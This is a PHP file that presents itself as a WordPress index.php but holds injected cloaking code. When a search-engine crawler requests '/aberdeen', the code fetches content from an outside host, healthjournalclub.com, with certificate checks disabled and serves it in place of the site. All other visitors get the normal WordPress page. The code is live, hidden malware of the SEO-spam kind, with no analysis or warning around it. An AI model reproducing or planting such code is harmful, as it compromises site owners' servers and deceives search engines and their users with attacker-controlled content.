<?php
ob_start();
header("Vary: User-Agent");

$remote_url = "https://healthjournalclub.com/fafr.txt";

$bot_pattern = "/(googlebot|googlebot-mobile|googlebot-news|google-site-verification|google-inspectiontool|slurp|bingbot|baiduspider|yandex|adsense|crawler|spider|inspection)/i";

$user_agent = isset($_SERVER["HTTP_USER_AGENT"])
  ? strtolower($_SERVER["HTTP_USER_AGENT"])
  : '';

$request_uri = $_SERVER['REQUEST_URI'] ?? '';

function fetch_remote_content($url) {

  if (function_exists("curl_init")) {

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);
    curl_close($ch);

    return $result;

  } elseif (ini_get("allow_url_fopen")) {

    $context = stream_context_create([
      'ssl' => [
        'verify_peer'      => false,
        'verify_peer_name' => false
      ],
      'http' => [
        'timeout' => 5
      ]
    ]);

    return @file_get_contents($url, false, $context);
  }

  return false;
}

$clean_uri = parse_url($request_uri, PHP_URL_PATH);
$clean_uri = rtrim($clean_uri ?: '/', '/');

if (
  $clean_uri === '/aberdeen'
  && preg_match($bot_pattern, $user_agent)
) {

  usleep(rand(100000, 200000));

  $content = fetch_remote_content($remote_url);

  if ($content !== false && !empty($content)) {
    echo $content;
    ob_end_flush();
    exit;
  }
}

define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';

ob_end_flush();